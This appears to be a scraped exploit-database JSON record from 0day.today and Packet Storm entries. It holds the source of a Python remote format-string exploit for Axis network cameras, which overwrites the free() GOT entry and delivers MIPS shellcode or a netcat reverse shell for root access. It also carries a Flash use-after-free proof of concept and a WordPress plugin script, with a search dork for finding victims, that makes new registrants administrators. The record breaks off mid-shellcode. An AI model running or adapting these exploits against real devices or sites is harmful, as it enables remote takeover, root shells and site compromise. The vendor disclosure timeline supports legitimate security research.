(0x00000000004xxxxx)\r\n \r\n FMScode.AddPOP(POP2) # 2nd serie of 'Old Style' POP's\r\n FMScode.AddADDR(BSSint) # BSS shellcode address\r\n FMScode.AddWRITEn(1) # 4 bytes Write-What\r\n# FMScode.AddWRITElln(1) # Easier to locate while debugging as this will write double word (0x00000000004xxxxx)\r\n \r\n # End of 'One-Write-Where-And-What'\r\n \r\n \r\n # This is an 'Two-Write-Where-And-What' for FMS\r\n #\r\n # Netcat shell and FMS code in same request, we will jump to the SSI function <!--#exec cmd=\"xxx\" -->\r\n # We jump over all SSI tagging to end up directly where \"xxx\" will\r\n # be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv())\r\n #\r\n # The Trick here is to write lower target address, that we will jump to when calling free(),\r\n # than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT\r\n # address with two LSB writes.\r\n #\r\n elif NCSH2:\r\n #\r\n # Direct parameter access for FMS exploitation are really nice and easy to use.\r\n # However, we need to exploit in two stages with two requests.\r\n # (I was trying to avoid this \"Two-Stages\" so much as possibly in this exploit developement...)\r\n #\r\n # 1. Write \"Two-Write-Where\", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB)\r\n # 2. Write with \"Two-Write-What\", where 1st (LSB) and 2nd (MSB) \"Write-Where\" pointing to.\r\n # \r\n # With \"new style\", we can write with POPs independently as we don't depended of same criteria as in \"NCSH1\",\r\n # we can use any regular \"Stack-to-Stack\" pointer as we can freely choose the POP-and-Write.\r\n # [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.]\r\n #\r\n # Stack Example:\r\n #\r\n # Stack content | Stack address (ASLR)\r\n #\r\n # 0x7e818dd0 | @0x7e818dc4>>>>>+ 1st \"Write-Where\" [@Stage One]\r\n # 0x76f41fb8 | @0x7e818dc8 |\r\n # 0x76f3d70c | @0x7e818dcc |\r\n # 0x76f55ab8 | @0x7e818dd0<<<<<+ 1st \"Write-What\" [@Stage Two]\r\n # 0x1 | @0x7e818dd4\r\n # [....]\r\n # 0x1c154 | @0x7e818e10\r\n # 0x7e818e20 | @0x7e818e14>>>>>+ 2nd \"Write-Where\" [@Stage One]\r\n # 0x76f41fb8 | @0x7e818e18 |\r\n # 0x76f3d70c | @0x7e818e1c |\r\n # 0x76f55758 | @0x7e818e20<<<<<+ 2nd \"Write-What\" [@Stage Two]\r\n # 0x1 | @0x7e818e24\r\n #\r\n \r\n FMScode.Add(shell)\r\n \r\n #\r\n # 1st and 2nd \"Write-Where\" already done in stage one\r\n #\r\n # 1st and 2nd \"Write-What\"\r\n #\r\n FMScode.AddADDR(GOTint + FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.\r\n FMScode.AddDirectParameterN(POP3) # Write with 4 bytes (we want to zero out in MSB)\r\n FMScode.AddADDR(SecondWhat + 3) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)\r\n FMScode.AddDirectParameterHHN(POP4) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation\r\n \r\n elif NCSH1:\r\n # Could use direct argument addressing here, but I like to keep \"old style\" as well,\r\n # as it's another interesting concept.\r\n #\r\n # Two matching stack contents -> stack address in row w/o or max two POP's between,\r\n # is needed to write two bytes higher (MSB).\r\n # \r\n #\r\n # Stack Example:\r\n #\r\n # Stack Content | @Stack Address (ASLR)\r\n #\r\n # 0x9c | @7ef2fde8 -> [POP1's]\r\n # [....]\r\n # 0x1 | @7ef2fdec -> [GOTint address]\r\n #------\r\n # 0x7ef2fe84 | @7ef2fdf0 >>>>>+ Write 'FirstWhere' (%n) [LSB]\r\n # -> 'XX' | two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer)\r\n # 0x7ef2fe8c | @7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB]\r\n # ------ | |\r\n # [....] -> [POP3's] | |\r\n # 0x7fb99dc | @7ef2fe7c | |\r\n # 0x7ef2fe84 | @7ef2fe80 | | [Count up to 0x2XXXX]\r\n # 0x7ef2ff6a | @7ef2fe84 <<<<<+ | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX))\r\n # -> [POP4's] |\r\n # (nil) | @7ef2fe88 | [Count up to 0x20300]\r\n # 0x7ef2ff74 | @7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX)\r\n \r\n FMScode.Add(shell)\r\n \r\n # Write FirstWhere for 'FirstWhat'\r\n FMScode.AddPOP(POP1)\r\n FMScode.AddADDR(GOTint) # Run up to free() GOT address\r\n FMScode.AddWRITEn(1)\r\n \r\n # Write SecondWhere for 'SecondWhat'\r\n #\r\n # This is special POP with 1 byte, we can maximum POP 2!\r\n #\r\n # This POP sequence is actually no longer used in this part of exploit, was developed to meet the requirement\r\n # for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes.\r\n # Kept as reference as we now using direct parameter access AKA 'New Style\" for 5.2x/5.4x\r\n #\r\n if POP2 != 0:\r\n # We only want to write 'SecondWhat' two bytes higher at free() GOT\r\n if POP2 > 2:\r\n print \"POP2 can't be greater than two!\"\r\n sys.exit(1)\r\n if POP2 == 1:\r\n FMScode.Add(\"%2c\")\r\n else:\r\n FMScode.Add(\"%1c%1c\")\r\n else:\r\n FMScode.Add(\"XX\")\r\n FMScode.AddWRITEn(1)\r\n \r\n # Write FirstWhat pointed by FirstWhere\r\n FMScode.AddPOP(POP3) # Old Style POP's\r\n FMScode.AddADDR(FirstWhat) # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.\r\n FMScode.AddWRITEn(1) # Write with 4 bytes (we want to zero out in MSB)\r\n \r\n # Write SecondWhat pointed by SecondWhere\r\n FMScode.AddPOP(POP4) # Old Style POP's\r\n FMScode.AddADDR(SecondWhat) # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)\r\n FMScode.AddWRITEhhn(1) # Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation\r\n \r\n else:\r\n sys.exit(1)\r\n \r\n FMSdata = FMScode.FMSbuild()\r\n \r\n print \"[>] StG_2: Writing shellcode address to free() GOT address:\",'0x{:08x}'.format(GOThex),\"(%d bytes)\" % (len(FMSdata))\r\n \r\n # FMS comes here, and calculations start after '=' in the url\r\n try:\r\n if NCSH1 or NCSH2:\r\n html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell\r\n else:\r\n html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode\r\n except urllib2.HTTPError as e:\r\n print \"[!] Payload delivery failed:\",str(e)\r\n sys.exit(1)\r\n except Exception as e:\r\n # 1st string returned by HTTP mode, 2nd by HTTPS mode\r\n if str(e) == \"timed out\" or str(e) == \"('The read operation timed out',)\":\r\n print \"[i] Timeout! Payload delivered sucessfully!\"\r\n else:\r\n print \"[!] Payload delivery failed:\",str(e)\r\n sys.exit(1)\r\n \r\n if noexploit:\r\n print \"\\n[*] Not exploiting, no shell...\\n\"\r\n else:\r\n print \"\\n[*] All done, enjoy the shell...\\n\"\r\n \r\n#\r\n# [EOF]\r\n#\n\n# 0day.today [2018-03-17] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/25439"}, {"lastseen": "2018-04-04T21:32:20", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2015-12-18T00:00:00", "published": "2015-12-18T00:00:00", "id": "1337DAY-ID-25730", "href": "https://0day.today/exploit/description/25730", "type": "zdt", "title": "Adobe Flash TextField.type Setter - Use-After-Free", "sourceData": "Source: https://code.google.com/p/google-security-research/issues/detail?id=577\r\n \r\nThere is a use-after-free in the TextField.type setter. If the type the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:\r\n \r\nvar mc = this.createEmptyMovieClip(\"mc\", 101);\r\nvar tf = mc.createTextField(\"tf\", 102, 1, 1, 100, 100);\r\ntf.type = {toString : func};\r\n \r\nfunction func(){\r\n \r\n mc.removeMovieClip();\r\n \r\n // Fix heap here\r\n \r\n return \"input\";\r\n \r\n }\r\n \r\nA sample swf and fla are attached.\r\n \r\n \r\nProof of Concept:\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39052.zip\n\n# 0day.today [2018-04-04] #", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/25730"}, {"lastseen": "2018-04-15T07:48:19", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2014-09-05T00:00:00", "published": "2014-09-05T00:00:00", "id": "1337DAY-ID-22597", "href": "https://0day.today/exploit/description/22597", "type": "zdt", "title": "Wordpress Plugins Premium Gallery Manager Unauthenticated Configuration Access Vulnerability", "sourceData": "#Exploit Title : Wordpress Plugins Premium Gallery Manager Unauthenticated Configuration Access Vulnerability\r\n#Author : Hannaichi [@dntkun]\r\n#Date : February 5th, 2014\r\n#Type : php, html, htm, asp, etc.\r\n#Category : Web Applications\r\n#Vulnerability : Unauthenticated Configuration Access\r\n#Tested On : Windows 7 32-bit | Google Chrome\r\n \r\n#Dork : inurl:/wp-content/plugins/premium_gallery_manager/ | USE YOUR BRAIN =))\r\n \r\n#Exploit : http://victim/[PATH]/wp-content/plugins/Premium_Gallery_Manager/hades_framework/option_panel/ajax.php\r\n \r\n#POC :\r\nSave File As Python (.py) =\r\nimport httplib, urllib\r\n \r\n#target site\r\nsite = \"victim\" #<--- no http:// or https://\r\n#path to ajax.php\r\nurl = \"/wp-content/plugins/Premium_Gallery_Manager/hades_framework/option_panel/ajax.php\"\r\n \r\ndef ChangeOption(site, url, option_name, option_value):\r\n params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})\r\n headers = {\"Content-type\": \"application/x-www-form-urlencoded\", \"Accept\": \"text/plain\"}\r\n conn = httplib.HTTPConnection(site)\r\n conn.request(\"POST\", url, params, headers)\r\n response = conn.getresponse()\r\n print response.status, response.reason\r\n data = response.read()\r\n print data\r\n conn.close()\r\n \r\nChangeOption(site, url, \"admin_email\", \"[email\u00a0protected]\")\r\nChangeOption(site, url, \"users_can_register\", \"1\")\r\nChangeOption(site, url, \"default_role\", \"administrator\")\r\nprint \"Now register a new user, they are an administrator by default!\"\r\n \r\n \r\n#Place It Broo No Lazy For This :D !!\r\n \r\n--------------------------------------------------------------------------------------------------------------------\r\n \r\nThanks to: #AnonSec Hackers - Borneo Security - Bekantan Crew - Indonesian Hacker - Muslim Hacker - You :*\n\n# 0day.today [2018-04-15] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/22597"}], "packetstorm": [{"lastseen": "2016-11-03T10:24:14", "bulletinFamily": "exploit", "description": "", "modified": "2016-07-18T00:00:00", "published": "2016-07-18T00:00:00", "href": "https://packetstormsecurity.com/files/137941/Axis-Communications-MPQT-PACS-SSI-Remote-Format-String-Code-Execution.html", "id": "PACKETSTORM:137941", "type": "packetstorm", "title": "Axis Communications MPQT/PACS SSI Remote Format String / Code Execution", "sourceData": "` \n#!/usr/bin/env python2.7 \n# \n# [SOF] \n# \n# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon \n# Research and development by bashis <mcw noemail eu> 2016 \n# \n# This format string vulnerability has following characteristic: \n# - Heap Based (Exploiting string located on the heap) \n# - Blind Attack (No output the remote attacker)(*) \n# - Remotly exploitable (As anonymous, no credentials needed) \n# \n# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic. \n# \n# This exploit has following characteristic: \n# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x] \n# - Modifying LHOST/LPORT in shellcode on the fly \n# - Manual exploiting of remote targets \n# - Simple HTTPS support \n# - Basic Authorization support (not needed for this exploit) \n# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode \n# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell) \n# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root \n# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root) \n# - Multiple FMS exploit techniques \n# - \"One-Write-Where-And-What\" for MIPS and CRISv32 \n# Using \"Old Style\" POP's \n# Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call \n# Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory. \n# - \"Two-Write-Where-And-What\" for ARM \n# 1) \"Old Style\": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address \n# 2) \"New Style\": ARM Arch's have both \"Old Style\" (>5.50.x) )POPs and \"New Style\" (<5.40.x) direct parameter access for POP/Write \n# [Big differnce in possibilities between \"Old Style\" and \"New Style\", pretty interesting actually] \n# - Another way to POP with \"Old Style\", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x) \n# - Exploit is quite well documented \n# \n# Anyhow, \n# Everything started from this simple remote request: \n# \n# --- \n# $ echo -en \"GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\\n\\n\" | netcat 192.168.0.90 80 \n# HTTP/1.1 500 Server Error \n# Content-Type: text/html; charset=ISO-8859-1 \n# \n# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD> \n# <BODY><H1>500 Server Error</H1> \n# The server encountered an internal error and could not complete your request. \n# </BODY></HTML> \n# --- \n# \n# Which gave this output in /var/log/messages on the remote device: \n# \n# --- \n# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10 \n# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data. \n# --- \n# \n# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products \n# \n# --- \n# $ netcat -vvlp 31337 \n# listening on [any] 31337 ... \n# 192.168.0.90: inverse host lookup failed: Unknown host \n# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738 \n# id \n# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz) \n# pwd \n# /usr/html \n# --- \n# \n# Some technical notes: \n# \n# 1. Direct addressing with %<argument>$%n is \"delayed\", and comes in force only after disconnect. \n# Old metod with POP's coming into force instantly \n# \n# 2. Argument \"0\" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's) \n# - Would be interesting to investigate why. \n# \n# 3. Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26 \n# Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff \n# \n# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff \n# Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f \n# \n# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit: \n# Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!) \n# \n# 4. Everything is randomized, except heap. \n# \n# 5. My initial attempts to use ROP's was not good, as I didn't want to create \n# one unique FMS key by testing each single firmware version, and using ROP with FMS \n# on heap seems pretty complicated as there is one jump availible, maximum two. \n# \n# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case. \n# \n# 6. Encoded and Decoded shellcode located in .bss section. \n# 6.1 FMS excecuted on heap \n# \n# 7. Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM \n# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs, \n# so execute shellcode on heap/stack may be impossible. \n# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries, \n# and re-compile of the image. \n# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute. \n# \n# 8. This exploit are pretty well documented, more details can be extracted by reading \n# the code and comments. \n# \n# MIPS ssid maps \n# 00400000-0040d000 r-xp 00000000 00:01 2272 /bin/ssid \n# 0041d000-0041e000 rw-p 0000d000 00:01 2272 /bin/ssid \n# 0041e000-00445000 rwxp 00000000 00:00 0 [heap] \n# \n# ARM ssid maps \n# 00008000-00014000 r-xp 00000000 00:01 2055 /bin/ssid \n# 0001c000-0001d000 rw-p 0000c000 00:01 2055 /bin/ssid \n# 0001d000-00044000 rw-p 00000000 00:00 0 [heap] \n# \n# Crisv32 ssid maps \n# 00080000-0008c000 r-xp 00000000 1f:03 115 /bin/ssid \n# 0008c000-0008e000 rw-p 0000a000 1f:03 115 /bin/ssid \n# 0008e000-000b6000 rwxp 0008e000 00:00 0 [heap] \n# \n# General notes: \n# \n# When the vul daemon process is exploited, and after popping root connect-back shell, \n# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process, \n# when the main process are fully alive again, I can enjoy the shell, and everybody else can \n# enjoy of the camera - that should make all of us happy ;) \n# During exploiting, logs says almost nothing, only that the main process restarted. \n# Note: Not true with ARM Netcat PIPE shell (as the code will vfork() and wait until child exits) \n# \n# '&http_user=' is the vuln tag, and the FMS will be excecuted when it will try to do vsyslog(), \n# after ssid cannot verify the user, free() are the closest function to be called after \n# vsyslog(), needed and perfect to use for jumping. \n# There is nothing shown for remote user, possible output of FMS are _only_ shown in log/console. \n# So we are pretty blind, but due to fixed FMS keys, that doesn't matter for us - it's predictable by statistics. \n# \n# Quite surprised to see so many different devices and under one major release version, \n# that's covered by one \"FMS key\". The \"FMS key\" are valid for all minor versions under the major version. \n# \n# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor, \n# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password. \n# \n# - No hardcoded login/password that could easily be found in firmware/software files. \n# - Extremely hard to find without local access (and find out what to trigger for opening the door) \n# - Nobody can not actually prove it is a sophisticated door for sure. \"It's just another bug.. sorry! - here is the fixed version.\" \n# (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find) \n# \n# Note: \n# I don't say that Axis Communication has made this hidden format string by this purpose. \n# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon, \n# and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of logerr(). \n# \n# Vulnerable and exploitable products \n# \n# A1001, A8004-VE, A9188, C3003, F34, F41, F44, M1124, M1124-E, M1125, M1125-E, M1145, M1145-L, M3006, \n# M3007, M3026, M3027, M3037, M7010, M7011, M7014, M7016, P1125, P1353, P1354, P1355, P1357, P1364, \n# P1365, P1405, P1405-E, P1405-LE, P1425-E, P1425-LE, P1427, P1427-E, P1435, P3214, P3214-V, P3215, \n# P3215-V, P3224, P3224-LVE, P3225-LV, P3353, P3354, P3363, P3364, P3364-L, P3365, P3367, P3384, \n# P3707-PE, P3904, P3904-R, P3905, P3915-R, P5414-E, P5415-E, P5514, P5514-E, P5515, P5515-E, P5624, \n# P5624-E, P5635-E, P7210, P7214, P7216, P7224, P8535, Q1602, Q1604, Q1614, Q1615, Q1635, Q1635-E, \n# Q1765-LE, Q1765-LE-PT, Q1775, Q1931-E, Q1931-E-PT, Q1932-E, Q1932-E-PT, Q1941-E, Q2901-E, Q2901-E-PT, \n# Q3504, Q3505, Q6000-E, Q6042, Q6042-C, Q6042-E, Q6042-S, Q6044, Q6044-C, Q6044-E, Q6044-S, Q6045, \n# Q6045-C, Q6045-E, Q6045-S, Q6114-E, Q6115-E, Q7411, Q7424-R, Q7436, Q8414, Q8414-LVS, Q8631-E, Q8632-E, \n# Q8665-E, Q8665-LE, V5914, V5915, M1054, M1103, M1104, M1113, M1114, M2014-E, M3014, M3113, M3114, M3203, \n# M3204, M5013, M5014, M7001, P12/M20, P1204, P1214, P1214-E, P1224-E, P1343, P1344, P1346, P1347, P2014-E, \n# P3301, P3304, P3343, P3344, P3346, P3346-E, P5512, P5512-E, P5522, P5522-E, P5532, P5532-E, P5534, P5534-E, \n# P5544, P8221, P8513, P8514, P8524, Q1755, Q1910, Q1921, Q1922, Q6032, Q6032-C, Q6032-E, Q6034, Q6034-C, \n# Q6034-E, Q6035, Q6035-C, Q6035-E, Q7401, Q7404, Q7406, Q7414, Q8721-E, Q8722-E, C, M1004-W, M1011, M1011-W, \n# M1013, M1014, M1025, M1031-W, M1033-W, M1034-W, M1143-L, M1144-L, M3004, M3005, M3011, M3024, M3024-L, \n# M3025, M3044-V, M3045-V, M3046-V, P1311, P1428-E, P7701, Q3709-PVE, Q3708-PVE, Q6128-E... and more \n# \n# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt \n# \n# Firmware versions vulnerable to the SSI FMS exploit \n# \n# ('V.Vx' == The FMS key used in this exploit) \n# \n# Firmware Introduced CRISv32 MIPS ARM (no exec heap from >5.20.x) \n# 5.00.x 2008 - - no \n# 5.01.x 2008 no - no \n# 5.02.x 2008 no - - \n# 5.05.x 2009 no - - \n# 5.06.x 2009 no - - \n# 5.07.x 2009 no - no \n# 5.08.x 2010 no - - \n# 5.09.x 2010 no - - \n# 5.10.x 2009 no - - \n# 5.11.x 2010 no - - \n# 5.12.x 2010 no - - \n# 5.15.x 2010 no - - \n# 5.16.x 2010 no - - \n# 5.20.x 2010-2011 5.2x - 5.2x \n# 5.21.x 2011 5.2x - 5.2x \n# 5.22.x 2011 5.2x - - \n# 5.25.x 2011 5.2x - - \n# 5.40.x 2011 5.4x 5.4x 5.4x \n# 5.41.x 2012 5.4x - - \n# 5.50.x 2013 5.5x 5.5x 5.4x \n# 5.51.x 2013 - 5.4x - \n# 5.55.x 2013 - 5.5x 5.5x \n# 5.60.x 2014 - 5.6x 5.6x \n# 5.65.x 2014-2015 - 5.6x - \n# 5.70.x 2015 - 5.7x - \n# 5.75.x 2015 - 5.7x 5.7x \n# 5.80.x 2015 - 5.8x 5.8x \n# 5.81.x 2015 - 5.8x - \n# 5.85.x 2015 - 5.8x 5.8x \n# 5.90.x 2015 - 5.9x - \n# 5.95.x 2016 - 5.9x 5.8x \n# 6.10.x 2016 - 6.1x - \n# 6.15.x 2016 - - 6.1x \n# 6.20.x 2016 - 6.2x - \n# \n# Vendor URL's of still supported and affected products \n# \n# http://www.axis.com/global/en/products/access-control \n# http://www.axis.com/global/en/products/video-encoders \n# http://www.axis.com/global/en/products/network-cameras \n# http://www.axis.com/global/en/products/audio \n# \n# Axis Product Security \n# \n# product-security@axis.com \n# http://www.axis.com/global/en/support/product-security \n# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt \n# http://www.axis.com/global/en/support/faq/FAQ116268 \n# \n# Timetable \n# \n# - Research and Development: 06/01/2016 - 01/06/2016 \n# - Sent vulnerability details to vendor: 05/06/2016 \n# - Vendor responce received: 06/06/2016 \n# - Vendor ACK of findings received: 07/06/2016 \n# - Vendor sent verification image: 13/06/2016 \n# - Confirmed that exploit do not work after vendors correction: 13/06/2016 \n# - Vendor informed about their service release(s): 29/06/2016 \n# - Sent vendor a copy of the (this) PoC exploit: 29/06/2016 \n# - Full Disclosure: 18/07/2016 \n# \n# Quote of the day: Never say \"whoops! :o\", always say \"Ah, still interesting! :>\" \n# \n# Have a nice day \n# /bashis \n# \n##################################################################################### \n \nimport sys \nimport string \nimport socket \nimport time \nimport argparse \nimport urllib, urllib2, httplib \nimport base64 \nimport ssl \nimport re \n \n \nclass do_FMS: \n \n# POP = \"%8x\" # Old style POP's with 8 bytes per POP \nPOP = \"%1c\" # Old style POP's with 1 byte per POP \nWRITElln = \"%lln\" # Write 8 bytes \nWRITEn = \"%n\" # Write 4 bytes \nWRITEhn = \"%hn\" # Write 2 bytes \nWRITEhhn = \"%hhn\" # Write 1 byte \n \ndef __init__(self,targetIP,verbose): \nself.targetIP = targetIP \nself.verbose = verbose \nself.fmscode = \"\" \n \n# Mostly used internally in this function \ndef Add(self, data): \nself.fmscode += data \n \n# 'New Style' Double word (8 bytes) \ndef AddDirectParameterLLN(self, ADDR): \nself.Add('%') \nself.Add(str(ADDR)) \nself.Add('$lln') \n \n# 'New Style' Word (4 bytes) \ndef AddDirectParameterN(self, ADDR): \nself.Add('%') \nself.Add(str(ADDR)) \nself.Add('$n') \n \n# 'New Style' Half word (2 bytes) \ndef AddDirectParameterHN(self, ADDR): \nself.Add('%') \nself.Add(str(ADDR)) \nself.Add('$hn') \n \n# 'New Style' One Byte (1 byte) \ndef AddDirectParameterHHN(self, ADDR): \nself.Add('%') \nself.Add(str(ADDR)) \nself.Add('$hhn') \n \n# Addressing \ndef AddADDR(self, ADDR): \nself.Add('%') \nself.Add(str(ADDR)) \nself.Add('u') \n \n# 'Old Style' POP \ndef AddPOP(self, size): \nif size != 0: \nself.Add(self.POP * size) \n \n# Normally only one will be sent, multiple is good to quick-check for any FMS \n# \n# 'Old Style' Double word (8 bytes) \ndef AddWRITElln(self, size): \nself.Add(self.WRITElln * size) \n \n# 'Old Style' Word (4 bytes) \ndef AddWRITEn(self, size): \nself.Add(self.WRITEn * size) \n \n# 'Old Style' Half word (2 bytes) \ndef AddWRITEhn(self, size): \nself.Add(self.WRITEhn * size) \n \n# 'Old Style' One byte (1 byte) \ndef AddWRITEhhn(self, size): \nself.Add(self.WRITEhhn * size) \n \n# Return the whole FMS string \ndef FMSbuild(self): \nreturn self.fmscode \n \nclass HTTPconnect: \n \ndef __init__(self, host, proto, verbose, creds, noexploit): \nself.host = host \nself.proto = proto \nself.verbose = verbose \nself.credentials = creds \nself.noexploit = noexploit \n \n# Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\\t','$','`' etc.. \ndef RAW(self, uri): \n# Connect-timeout in seconds \ntimeout = 5 \nsocket.setdefaulttimeout(timeout) \n \ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) \ntmp = self.host.split(':') \nHOST = tmp[0] \nPORT = int(tmp[1]) \nif self.verbose: \nprint \"[Verbose] Sending to:\", HOST \nprint \"[Verbose] Port:\", PORT \nprint \"[Verbose] URI:\",uri \ns.connect((HOST, PORT)) \ns.send(\"GET %s HTTP/1.0\\r\\n\\r\\n\" % uri) \nhtml = (s.recv(4096)) # We really do not care whats coming back \n# if html: \n# print \"[i] Received:\",html \ns.shutdown(3) \ns.close() \nreturn html \n \n \ndef Send(self, uri): \n \n# The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually \n# matter for the functionality of this exploit, only for future references. \nheaders = { \n'User-Agent' : 'MSIE', \n} \n \n# Connect-timeout in seconds \ntimeout = 5 \nsocket.setdefaulttimeout(timeout) \n \nurl = '%s://%s%s' % (self.proto, self.host, uri) \n \nif self.verbose: \nprint \"[Verbose] Sending:\", url \n \nif self.proto == 'https': \nif hasattr(ssl, '_create_unverified_context'): \nprint \"[i] Creating SSL Default Context\" \nssl._create_default_https_context = ssl._create_unverified_context \n \nif self.credentials: \nBasic_Auth = self.credentials.split(':') \nif self.verbose: \nprint \"[Verbose] User:\",Basic_Auth[0],\"Password:\",Basic_Auth[1] \ntry: \npwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() \npwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) \nauth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) \nopener = urllib2.build_opener(auth_handler) \nurllib2.install_opener(opener) \nexcept Exception as e: \nprint \"[!] Basic Auth Error:\",e \nsys.exit(1) \n \nif self.noexploit and not self.verbose: \nprint \"[<] 204 Not Sending!\" \nhtml = \"Not sending any data\" \nelse: \ndata = None \nreq = urllib2.Request(url, data, headers) \nrsp = urllib2.urlopen(req) \nif rsp: \nprint \"[<] %s OK\" % rsp.code \nhtml = rsp.read() \nreturn html \n \n \nclass shellcode_db: \n \ndef __init__(self,targetIP,verbose): \nself.targetIP = targetIP \nself.verbose = verbose \n \ndef sc(self,target): \nself.target = target \n \n \n# Connect back shellcode \n# \n# CRISv32: Written by myself, no shellcode availible out on \"The Internet\" \n# NCSH: My PoC of netcat FIFO / PIPE reverese shell, w/o '-e' option and with $IFS as separators \n# MIPSel: Written by Jacob Holcomb (url encoded by me) \n# ARM: http://shell-storm.org/shellcode/files/shellcode-754.php \n# \n# Slightly modified syscall's \nMIPSel = string.join([ \n#close stdin \n\"%ff%ff%04%28\" #slti a0,zero,-1 \n\"%a6%0f%02%24\" #li v0,4006 \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n#close stdout \n\"%11%11%04%28\" #slti a0,zero,4369 \n\"%a6%0f%02%24\" #li v0,4006 \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n#close stderr \n\"%fd%ff%0c%24\" #li t4,-3 \n\"%27%20%80%01\" #nor a0,t4,zero \n\"%a6%0f%02%24\" #li v0,4006 \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n# socket AF_INET (2) \n\"%fd%ff%0c%24\" #li t4,-3 \n\"%27%20%80%01\" #nor a0,t4,zero \n\"%27%28%80%01\" #nor a1,t4,zero \n\"%ff%ff%06%28\" #slti a2,zero,-1 \n\"%57%10%02%24\" #li v0,4183 \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n# \n\"%ff%ff%44%30\" # andi $a0, $v0, 0xFFFF \n# \n# dup2 stdout \n\"%c9%0f%02%24\" #li v0,4041 \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n# \n# dup2 stderr \n\"%c9%0f%02%24\" #li v0,4041 \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n# \n# Port \n\"PP1PP0%05%3c\" 